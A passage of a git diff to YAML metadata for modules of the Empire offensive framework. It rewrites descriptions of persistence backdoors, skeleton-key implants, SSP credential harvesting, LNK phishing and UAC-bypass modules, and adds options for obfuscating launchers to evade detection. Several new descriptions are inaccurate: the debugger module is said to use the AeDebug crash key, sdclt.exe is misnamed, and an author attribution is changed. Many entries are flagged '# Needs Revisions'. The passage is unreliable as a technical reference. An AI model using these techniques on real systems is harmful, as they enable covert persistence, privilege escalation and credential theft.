Optional to DailyTime. + description: Day of month to trigger the script (1-31, optional with DailyTime). required: false value: '' - name: DayOfWeek - description: Day of week to trigger the script (0-6). Sunday = 0. Optional to - DailyTime. + description: Day of week to trigger the script (0-6, Sunday = 0, optional with + DailyTime). required: false value: '' - name: SubName - description: Name to use for the event subscription. + description: Name for the WMI event subscription. required: true value: AutoUpdater - name: ExtFile - description: Use an external file for the payload instead of a stager. + description: Path to external file containing the payload (leave blank to use + WebFile). required: false value: '' - name: Cleanup - description: Cleanup the trigger and any script from specified location. + description: Remove the persistence mechanism and clean up artifacts. required: false value: 'False' strict: true @@ -64,7 +79,7 @@ options: - True - False - name: WebFile - description: The location of the launcher.bat file to fetch over the network/web + description: URL location of the launcher.bat file to fetch over the network. required: true value: http://127.0.0.1/launcher.bat advanced: diff --git a/empire/server/modules/powershell/persistence/misc/add_netuser.yaml b/empire/server/modules/powershell/persistence/misc/add_netuser.yaml index 3aedc850d..b941837ec 100644 --- a/empire/server/modules/powershell/persistence/misc/add_netuser.yaml +++ b/empire/server/modules/powershell/persistence/misc/add_netuser.yaml @@ -1,10 +1,27 @@ -name: Add-NetUser +# Needs Revisions +name: Invoke-AddNetUser authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Adds a domain user or a local user to the current (or remote) machine, - if permissions allow, +description: | + A persistence module that establishes system-level persistence by creating + a new user account with administrative privileges and configuring it to + execute an Empire stager upon logon. This approach leverages Windows + user account management to create a reliable persistence mechanism that + provides continued access through a dedicated backdoor account. + + The module creates a new user account with specified credentials and + administrative privileges, then configures the account's registry hive + to execute the stager upon logon. This technique is particularly effective + as it uses legitimate Windows user account infrastructure and provides + a dedicated access method that can survive system changes. + + User account creation persistence provides reliable access as it creates + a dedicated backdoor account with administrative privileges. However, + it requires administrative privileges to implement and creates visible + user account artifacts that can be detected by security monitoring + tools and user management processes. software: '' tactics: [TA0003] techniques: [T1136.001, T1136.002] @@ -17,9 +34,9 @@ min_language_version: '2' comments: - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/ options: - - name: Agent - description: Agent to run module on. - required: true + - name: Listener + description: Listener to use for the stager. + required: false value: '' - name: UserName description: The username to add. diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml b/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml index 376da76e0..ed193c813 100644 --- a/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml +++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-Mimikatz Add-SIDHistory authors: - name: Joseph Bialek @@ -6,8 +7,22 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::addsid - to add sid history for a user. ONLY APPLICABLE ON DOMAIN CONTROLLERS! +description: | + A privilege escalation module that adds SID history to a user account, + granting them the security context and permissions of another user or + group. This technique allows operators to elevate privileges by + manipulating the Security Identifier history attribute. + + The module uses Mimikatz to add the SID of a target user or group to + the SID history of another user account. This effectively grants the + target user all the permissions and access rights associated with + the SID being added, including domain administrative privileges if + the SID belongs to a privileged group. + + This technique is only applicable on domain controllers and provides + a powerful method for privilege escalation and lateral movement. + The SID history modification persists across password changes and + can be used to maintain elevated access to domain resources. software: S0194 tactics: [TA0004, TA0005] techniques: [T1134.005] diff --git a/empire/server/modules/powershell/persistence/misc/debugger.yaml b/empire/server/modules/powershell/persistence/misc/debugger.yaml index bf8e03a0d..e638de2cf 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.yaml +++ b/empire/server/modules/powershell/persistence/misc/debugger.yaml @@ -1,11 +1,26 @@ -name: Invoke-AccessBinary +name: Invoke-Debugger authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Sets the debugger for a specified target binary to be cmd.exe, another - binary of your choice, or a listern stager. This can be launched from the ease-of-access - center (ctrl+U). +description: | + A persistence module that establishes system-level persistence by hijacking + the Windows debugger registry key to execute an Empire stager whenever + a specified application is launched. This approach leverages Windows + debugging infrastructure to create a stealthy persistence mechanism + that triggers on application execution. + + The module modifies the AeDebug registry key to specify a custom debugger + that will be invoked whenever the target application crashes or is + launched with debugging enabled. This technique is particularly effective + as it uses legitimate Windows debugging functionality and can be + configured to target commonly used applications. + + Debugger hijacking persistence provides excellent stealth as it leverages + native Windows functionality and operates under the guise of legitimate + debugging activities. However, it requires administrative privileges + and creates registry artifacts that can be detected by advanced + security monitoring tools. software: '' tactics: [TA0004] techniques: [T1112, T1546.008] @@ -15,19 +30,18 @@ needs_admin: true opsec_safe: false language: powershell min_language_version: '2' -comments: [] +comments: + - http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html + - https://github.com/samratashok/nishang + - http://blog.trendmicro.com/trendlabs-security-intelligence/black-magic-windows-powershell-used-again-in-new-attack/ options: - - name: Agent - description: Agent to run module on. - required: true - value: '' - name: Listener - description: Listener to use. + description: Listener to use for the stager. required: false value: '' - name: Obfuscate - description: Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. + description: Obfuscate the launcher PowerShell code to evade signature-based + detection. required: false value: 'False' strict: true @@ -36,7 +50,7 @@ options: - False - name: ObfuscateCommand description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. + is True. required: false value: Token\All\1 depends_on: @@ -51,6 +65,7 @@ options: Narrator.exe, or Magnify.exe) required: true strict: true + value: sethc.exe suggested_values: - sethc.exe - Utilman.exe diff --git a/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml b/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml index b6f237f66..fa743d209 100644 --- a/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml +++ b/empire/server/modules/powershell/persistence/misc/disable_machine_acct_change.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Invoke-DisableMachineAcctChange authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Disables the machine account for the target system from changing its - password automatically. +description: | + A persistence module that disables automatic machine account password changes + to maintain consistent access to domain-joined systems. This technique + prevents the system from automatically updating its machine account + password, ensuring continued domain authentication capabilities. + + The module modifies the Netlogon service parameters to disable automatic + machine account password changes, which normally occur every 30 days by + default. By preventing these changes, the operator maintains consistent + access to the system's domain credentials and can use them for lateral + movement or persistence activities. + + This technique is particularly effective for maintaining long-term access + to domain-joined systems as it prevents the natural credential rotation + that could otherwise break persistence mechanisms. The module includes + cleanup functionality to re-enable automatic password changes when needed. software: '' tactics: [TA0005, TA0004] techniques: [T1098] diff --git a/empire/server/modules/powershell/persistence/misc/get_ssps.yaml b/empire/server/modules/powershell/persistence/misc/get_ssps.yaml index 318c91d13..4585a99a9 100644 --- a/empire/server/modules/powershell/persistence/misc/get_ssps.yaml +++ b/empire/server/modules/powershell/persistence/misc/get_ssps.yaml @@ -1,9 +1,26 @@ -name: Get-SecurityPackages +# Needs Revisions +name: Get-SSPs authors: - - name: Matt Graeber - handle: '@mattifestation' - link: https://twitter.com/mattifestation -description: Enumerates all loaded security packages (SSPs). + - name: Will Schroeder + handle: '@harmj0y' + link: https://twitter.com/harmj0y +description: | + A reconnaissance module that enumerates Security Support Providers (SSPs) + installed on the target system. This module provides visibility into + the authentication mechanisms and security packages configured on the + system, which can be useful for understanding the security posture + and identifying potential persistence opportunities. + + The module queries the Windows registry to identify installed SSPs, + including both built-in Windows SSPs and any custom SSPs that may + have been installed. This information can be valuable for security + assessments and identifying potential backdoors or unauthorized + authentication mechanisms. + + SSP enumeration is particularly useful for understanding the system's + authentication infrastructure and identifying any custom security + packages that may have been installed for malicious purposes or + legitimate security enhancements. software: '' tactics: [TA0004] techniques: [T1101.005] diff --git a/empire/server/modules/powershell/persistence/misc/install_ssp.yaml b/empire/server/modules/powershell/persistence/misc/install_ssp.yaml index d54a38adc..b81042376 100644 --- a/empire/server/modules/powershell/persistence/misc/install_ssp.yaml +++ b/empire/server/modules/powershell/persistence/misc/install_ssp.yaml @@ -1,9 +1,27 @@ +# Needs Revisions name: Install-SSP authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Installs a security support provider (SSP) dll. +description: | + A persistence module that installs a Security Support Provider (SSP) DLL + to intercept and monitor authentication processes. This technique provides + long-term credential harvesting capabilities by integrating with the + Windows authentication infrastructure. + + The module copies the specified SSP DLL to the System32 directory and + registers it in the Windows registry to be loaded by LSASS during + system startup. Once installed, the SSP can intercept authentication + requests, capture credentials, and provide persistent access to + authentication data. + + This approach is particularly effective for credential harvesting as + it operates at the authentication layer and can capture credentials + in various formats. The SSP remains active across system restarts + and provides a reliable method for maintaining access to authentication + information. However, it requires administrative privileges and + creates visible file and registry artifacts. software: '' tactics: [TA0004] techniques: [T1101.005] diff --git a/empire/server/modules/powershell/persistence/misc/memssp.yaml b/empire/server/modules/powershell/persistence/misc/memssp.yaml index 3ad784cd2..7bde2bc5f 100644 --- a/empire/server/modules/powershell/persistence/misc/memssp.yaml +++ b/empire/server/modules/powershell/persistence/misc/memssp.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-Mimikatz memssp authors: - name: Joseph Bialek @@ -6,8 +7,23 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::memssp - to log all authentication events to C:\Windows\System32\mimisla.log. +description: | + A persistence module that installs a memory-based Security Support Provider + (SSP) into the LSASS process to log all authentication events. This technique + provides continuous credential monitoring and logging capabilities without + requiring persistent file-based components. + + The memssp technique injects a custom SSP directly into LSASS memory space, + where it can intercept and log all authentication attempts, including + successful logons, failed attempts, and credential changes. The logged + information is written to a file at C:\Windows\System32\mimisla.log, + providing a comprehensive audit trail of authentication activities. + + This approach is particularly effective for credential harvesting and + monitoring as it operates at the authentication layer and can capture + credentials in various formats. The memory-based implementation provides + stealth advantages over traditional file-based SSPs, though it requires + re-injection after system restarts. software: S0194 tactics: [TA0004, TA0006] techniques: [T1101.005, T1056] diff --git a/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml b/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml index 682adc58d..fbbd61872 100644 --- a/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml +++ b/empire/server/modules/powershell/persistence/misc/skeleton_key.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-Mimikatz SkeletonKey authors: - name: Joseph Bialek @@ -6,8 +7,22 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to execute misc::skeleton - to implant a skeleton key w/ password 'mimikatz'. ONLY APPLICABLE ON DOMAIN CONTROLLERS! +description: | + A persistence module that implants a skeleton key into the domain controller's + LSASS memory space, allowing access to any domain account using a universal + password. This technique creates a backdoor that bypasses normal authentication + mechanisms and provides persistent access to the entire domain. + + The skeleton key technique modifies the authentication process in memory to + accept a predefined password ('mimikatz' by default) for any domain account, + while preserving the original password functionality. This approach is + particularly effective as it operates entirely in memory and doesn't + modify the Active Directory database. + + This technique is only applicable on domain controllers and provides + a powerful persistence mechanism that can survive password changes and + domain policy updates. The skeleton key remains active until the domain + controller is restarted or the LSASS process is recycled. software: S0194 tactics: [TA0004, TA0006] techniques: [T1556.001] diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml b/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml index c4627ab44..ffda20756 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Invoke-DeadUserBackdoor authors: - name: '' handle: '@sixdub' link: '' -description: Backup backdoor for a backdoor user. Looks for a speicifed user account. - If not found, then calls back to the server +description: | + A persistence module that establishes a backup backdoor by monitoring for the + presence of a specified user account on the target system. If the designated + user account is not found, the module initiates a callback to the attacker's + server, enabling re-establishment of access. + + This approach provides a resilient persistence mechanism that can automatically + trigger a new connection if the primary backdoor user is removed, ensuring + continued access even after partial remediation by defenders. The module + continuously monitors for the specified user account and maintains stealth + by only activating when the account is absent. + + The dead user backdoor technique is particularly effective for maintaining + long-term access in environments where user accounts may be periodically + cleaned up or removed by security teams, providing a reliable fallback + mechanism for persistence. software: '' tactics: [TA0004] techniques: [T1546] diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml b/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml index 748fccd1d..c04d6309e 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Invoke-EventLogBackdoor authors: - name: '' handle: '@sixdub' link: '' -description: Starts the event-loop backdoor. Monitors security logs for trigger and - calls back when seen +description: | + A persistence module that monitors Windows security event logs for a specific + trigger value. When the designated value is detected in an event log entry, + the module initiates a callback to the attacker's server. + + This event-driven persistence technique leverages legitimate system logging + mechanisms to provide a stealthy and flexible method for re-establishing + access, as the backdoor is only activated in response to specific, + operator-defined events. The module continuously scans security logs + for the trigger value and maintains stealth by blending with normal + system monitoring activities. + + The event log backdoor technique is particularly effective for maintaining + long-term access as it uses legitimate system processes and can be + triggered by various events that may occur naturally in the environment, + providing a reliable and difficult-to-detect persistence mechanism. software: '' tactics: [TA0004] techniques: [T1546.003] diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml b/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml index 93fff3a79..285da6e14 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Invoke-ResolverBackdoor authors: - name: '' handle: '@sixdub' link: '' -description: Starts the Resolver Backdoor. Attempts to resolve specified hostname. - If the resolved ip address does not match it then calls back +description: | + A persistence module that maintains access by routinely resolving a specified + hostname and comparing the result to a trigger IP address. If the resolved + IP address does not match the expected value, the module initiates a callback + to the attacker's server. + + This DNS-based trigger mechanism allows for covert, remote activation of a + backdoor based on external DNS changes, providing a flexible and stealthy + persistence strategy that can be controlled by the operator. The module + continuously monitors DNS resolution results and only activates when the + expected IP address changes. + + The resolver backdoor technique is particularly effective for maintaining + long-term access as it leverages legitimate DNS resolution processes and + can be triggered remotely by the operator through DNS manipulation, + providing a reliable and stealthy persistence mechanism. software: S0194 tactics: [TA0004] techniques: [T1546] diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml index ad57d998c..b23881538 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml @@ -1,10 +1,24 @@ +# Needs Revisions name: Invoke-BackdoorLNK authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Backdoor a specified .LNK file with a version that launches the original - binary and then an Empire stager. +description: | + A persistence module that modifies an existing shortcut (.LNK) file to execute + both the original target application and an Empire stager. By backdooring a + shortcut already present on the system, the module ensures that normal user + workflows are preserved while covertly establishing persistence. + + The module supports restoration of the original shortcut and can use either + a stager or an external payload, providing flexibility in deployment and + cleanup. This approach is particularly effective as it leverages existing + user behavior patterns and doesn't require creating new files that might + raise suspicion. + + The backdoor LNK technique provides a stealthy persistence mechanism that + maintains the appearance of normal system operation while ensuring continued + access through user-initiated shortcut execution. software: '' tactics: [TA0004] techniques: [T1204.001, T1547.009] diff --git a/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml b/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml index f61b841a6..94fedf454 100644 --- a/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml +++ b/empire/server/modules/powershell/persistence/userland/phishing_lnk.yaml @@ -3,9 +3,22 @@ authors: - name: 0xFFaraday handle: '0xFFaraday' link: '' -description: Adds an additional .LNK file to the targeted user's desktop and backdoors - it to launch a stager of your choice. This lets the operator have the availability - to spawn a new agent from the end user clicking a new "useful" shortcut. +description: | + A persistence module that creates a new shortcut (.LNK) file on a targeted + user's desktop, backdoored to launch both a legitimate application and + an Empire stager. This approach enables the operator to maintain access + by enticing the user to execute the shortcut, which appears useful or familiar. + + The module allows customization of the shortcut's name, icon, and target + application, increasing the likelihood of user interaction and successful + agent deployment. By creating a new shortcut rather than modifying existing + ones, the module provides a clean persistence mechanism that doesn't + interfere with normal user workflows. + + This phishing technique is particularly effective for maintaining access + as it leverages social engineering principles and user behavior patterns, + providing a reliable method for re-establishing connections through + user-initiated actions. tactics: [TA0004] techniques: [T1204.001] background: true diff --git a/empire/server/modules/powershell/persistence/userland/registry.yaml b/empire/server/modules/powershell/persistence/userland/registry.yaml index e3d8515c6..7709b61c0 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.yaml +++ b/empire/server/modules/powershell/persistence/userland/registry.yaml @@ -9,8 +9,20 @@ authors: - name: '' handle: '@enigma0x3' link: '' -description: Persist a stager (or script) via the HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run - registry key. This has an easy detection/removal rating. +description: | + Establishes persistence by creating a registry entry in HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run + that executes a stager or script during user logon. This module creates a user-level + persistence mechanism that triggers when the specific user logs into the system. + + User-level registry persistence is less privileged than system-level persistence but provides + reliable execution for the target user account. The module can store the payload + in the registry, alternate data streams, event logs, or reference an external + file, providing flexibility for different operational requirements and stealth + considerations. + + This technique does not require administrative privileges and + creates visible registry artifacts that can be detected by security monitoring + tools. software: '' tactics: [TA0003] techniques: [T1547.001] @@ -24,12 +36,12 @@ comments: - https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1 options: - name: Listener - description: Listener to use. + description: Listener to use for the stager. required: false value: '' - name: Obfuscate - description: Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. + description: Obfuscate the launcher PowerShell code to evade signature-based + detection. required: false value: 'False' strict: true @@ -38,7 +50,7 @@ options: - False - name: ObfuscateCommand description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. + is True. required: false value: Token\All\1 depends_on: @@ -49,29 +61,31 @@ options: required: false value: mattifestation etw - name: KeyName - description: Key name for the run trigger. + description: Name for the registry key that will trigger execution. required: true value: Updater - name: RegPath - description: Registry location to store the script code. Last element is the - key name. + description: Registry location to store the script code (last element is the + key name). required: false value: HKCU:Software\Microsoft\Windows\CurrentVersion\Debug - name: ADSPath - description: Alternate-data-stream location to store the script code. + description: Alternate-data-stream location to store the script code (leave blank + to use registry). required: false value: '' - name: EventLogID description: Store the script in the Application event log under the specified - EventID. The ID needs to be unique/rare! + EventID (must be unique/rare). required: false value: '' - name: ExtFile - description: Use an external file for the payload instead of a stager. + description: Path to external file containing the payload (leave blank to use + stager). required: false value: '' - name: Cleanup - description: Cleanup the trigger and any script from specified location. + description: Remove the persistence mechanism and clean up artifacts. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.yaml b/empire/server/modules/powershell/persistence/userland/schtasks.yaml index 1e6b0548f..d4ccf0b76 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.yaml +++ b/empire/server/modules/powershell/persistence/userland/schtasks.yaml @@ -6,8 +6,20 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Persist a stager (or script) using schtasks. This has a moderate detection/removal - rating. +description: | + Establishes persistence by creating a scheduled task that runs with + user privileges to execute a stager or script. This module leverages the Windows + Task Scheduler to create a reliable persistence mechanism that can trigger on + various events including daily execution or user idle time. + + User-level scheduled + task persistence provides moderate stealth as it uses legitimate Windows functionality + and can be configured with various triggers to blend with normal system activity. + The module can store the payload in the registry or reference an external file, + and supports multiple scheduling options for operational flexibility. + + This technique does not require administrative privileges and creates visible scheduled + task artifacts that can be detected by security monitoring tools. software: S0111 tactics: [TA0003, TA0004] techniques: [T1053.005] @@ -21,12 +33,12 @@ comments: - https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1 options: - name: Listener - description: Listener to use. + description: Listener to use for the stager. required: false value: '' - name: Obfuscate - description: Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. + description: Obfuscate the launcher PowerShell code to evade signature-based + detection. required: false value: 'False' strict: true @@ -35,7 +47,7 @@ options: - False - name: ObfuscateCommand description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. + is True. required: false value: Token\All\1 depends_on: @@ -46,32 +58,34 @@ options: required: false value: mattifestation etw - name: DailyTime - description: Daily time to trigger the script (HH:mm). + description: 'Daily time to trigger the script (format: HH:mm).' required: false value: 09:00 - name: IdleTime - description: User idle time (in minutes) to trigger script. + description: User idle time in minutes to trigger script (leave blank to disable). required: false value: '' - name: TaskName - description: Name to use for the schtask. + description: Name for the scheduled task. required: true value: Updater - name: RegPath - description: Registry location to store the script code. Last element is the - key name. + description: Registry location to store the script code (last element is the + key name). required: false value: HKCU:\Software\Microsoft\Windows\CurrentVersion\debug - name: ADSPath - description: Alternate-data-stream location to store the script code. + description: Alternate-data-stream location to store the script code (leave blank + to use registry). required: false value: '' - name: ExtFile - description: Use an external file for the payload instead of a stager. + description: Path to external file containing the payload (leave blank to use + stager). required: false value: '' - name: Cleanup - description: Cleanup the trigger and any script from specified location. + description: Remove the persistence mechanism and clean up artifacts. required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/privesc/ask.yaml b/empire/server/modules/powershell/privesc/ask.yaml index fcd207dd4..881f6bf70 100644 --- a/empire/server/modules/powershell/privesc/ask.yaml +++ b/empire/server/modules/powershell/privesc/ask.yaml @@ -3,7 +3,8 @@ authors: - name: Jack64 handle: '' link: '' -description: Leverages Start-Process' -Verb runAs option inside a YES-Required loop +description: | + Leverages Start-Process' -Verb runAs option inside a YES-Required loop to prompt the user for a high integrity context before running the agent code. UAC will report Powershell is requesting Administrator privileges. Because this does not use the BypassUAC DLLs, it should not trigger any AV alerts. diff --git a/empire/server/modules/powershell/privesc/bypassuac.yaml b/empire/server/modules/powershell/privesc/bypassuac.yaml index c264d1ba0..1fd607443 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac.yaml @@ -18,10 +18,13 @@ authors: - name: '' handle: '@sixdub' link: '' -description: Runs a BypassUAC attack to escape from a medium integrity process to - a high integrity process. This attack was originally discovered by Leo Davidson. - Empire uses components of MSF's bypassuac injection implementation as well as an - adapted version of PowerSploit's Invoke--Shellcode.ps1 script for backend lifting. +description: | + Performs User Account Control (UAC) bypass to escape from medium integrity processes + to high integrity processes without triggering UAC prompts. Leverages Windows + elevation mechanisms and DLL injection techniques to bypass security controls + and gain elevated privileges. The technique exploits Windows elevation policies + and process creation mechanisms to execute code with administrative privileges + while avoiding detection by UAC monitoring systems. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.yaml b/empire/server/modules/powershell/privesc/bypassuac_env.yaml index 4ffb84078..426d045a8 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_env.yaml @@ -1,11 +1,25 @@ +# Needs Revisions name: Invoke-EnvBypass authors: - name: Petr Medonos handle: '' link: '' -description: Bypasses UAC (even with Always Notify level set) by by performing an - registry modification of the "windir" value in "Environment" based on James Forshaw - findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html) +description: | + A privilege escalation module that bypasses User Account Control (UAC) + by manipulating environment variables in the Windows registry. This + technique exploits a vulnerability in how Windows handles environment + variable expansion during elevated process creation. + + The module modifies the "windir" value in the Environment registry + key to redirect system path resolution, allowing the execution of + arbitrary code with elevated privileges. This technique is based on + research by James Forshaw and can bypass UAC even when set to the + highest "Always Notify" level. + + This approach is particularly effective as it doesn't require user + interaction and can bypass most UAC configurations. However, it + creates registry modifications that may be detected by security + monitoring tools and requires cleanup after successful execution. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml index 1f54a3baf..25615c02b 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml @@ -1,10 +1,26 @@ +# Needs Revisions name: Invoke-EventVwrBypass authors: - name: '' handle: '@enigma0x3' link: '' -description: Bypasses UAC by performing an image hijack on the .msc file extension - and starting eventvwr.exe. No files are dropped to disk, making this opsec safe. +description: | + A privilege escalation module that bypasses User Account Control (UAC) + using a fileless technique that exploits the Windows Event Viewer + (eventvwr.exe) and registry hijacking. This technique performs an + image hijack on the .msc file extension association to execute + arbitrary code with elevated privileges. + + The module manipulates the registry to redirect .msc file execution + to a custom handler, then triggers eventvwr.exe which attempts to + load an .msc file. This causes the hijacked handler to execute with + elevated privileges, bypassing UAC restrictions without dropping + any files to disk. + + This approach is particularly stealthy as it's completely fileless + and leverages legitimate Windows components. The technique was + discovered by @enigma0x3 and represents a sophisticated method of + UAC bypass that can evade many detection mechanisms. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml index c5228df11..2c4e93de5 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml @@ -1,10 +1,26 @@ +# Needs Revisions name: Invoke-FodHelperBypass authors: - name: Petr Medonos handle: '' link: '' -description: Bypasses UAC by performing an registry modification for FodHelper (based - onhttps://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/) +description: | + A privilege escalation module that bypasses User Account Control (UAC) + by exploiting the Windows Features on Demand Helper (FodHelper.exe). + This technique manipulates registry keys to redirect FodHelper's + execution flow and execute arbitrary code with elevated privileges. + + The module modifies registry entries that control how FodHelper.exe + processes feature installation requests. By hijacking the registry + path that FodHelper uses to launch its helper processes, the module + can execute custom code with administrative privileges while bypassing + UAC prompts. + + This technique is effective because FodHelper.exe is a legitimate + Windows component that runs with elevated privileges by design, + making it an attractive target for UAC bypass techniques. The + registry modifications required are minimal and can be easily + cleaned up after successful execution. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml b/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml index b4a4929fe..d37e9f163 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-FodhelperProgIDs authors: - name: '' @@ -10,7 +11,24 @@ authors: handle: '@m1m1k4tz' link: '' description: | - Bypasses UAC by performing a registry modification for FodHelper but uses ProgIDs to bypass antivirus signatures on the registry key + A privilege escalation module that bypasses User Account Control (UAC) + by exploiting the Windows Features on Demand Helper (FodHelper.exe) + using Programmatic Identifiers (ProgIDs). This technique leverages + registry manipulation to redirect FodHelper's execution flow while + evading antivirus detection through the use of ProgID entries. + + The module creates a custom file extension (.pwn) and associates it + with a command handler in the registry. It then manipulates the + ms-settings ProgID to redirect to this custom extension, causing + FodHelper.exe to execute the specified command with elevated + privileges when it attempts to process the settings request. + + This approach is particularly effective because it uses ProgIDs + instead of direct registry key modifications, which helps avoid + detection by security tools that monitor for specific registry + changes. The technique is based on research by @V3ded and provides + a stealthy method of UAC bypass that can evade many antivirus + signatures. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml index 50ea17370..b38f03ea9 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Invoke-SDCLTBypass authors: - name: Petr Medonos handle: '' link: '' -description: Bypasses UAC by performing an registry modification for sdclt (based - onhttps://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/) +description: | + A privilege escalation module that bypasses User Account Control (UAC) + by exploiting the Windows System Data Collection Tool (sdclt.exe). + This technique manipulates registry entries to redirect sdclt's + execution flow and execute arbitrary code with elevated privileges. + + The module modifies registry keys that control how sdclt.exe processes + system data collection requests. By hijacking the registry path that + sdclt uses to launch its helper processes, the module can execute + custom code with administrative privileges while bypassing UAC prompts. + + This technique is based on research by @enigma0x3 and leverages the + fact that sdclt.exe is a legitimate Windows component that runs with + elevated privileges by design. The registry modifications required + are minimal and can be easily cleaned up after successful execution, + making this a relatively stealthy UAC bypass method. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml index c2b4f8d75..c66c4f81c 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-BypassUACTokenManipulation authors: - name: '' @@ -6,8 +7,24 @@ authors: - name: '' handle: '@424f424f' 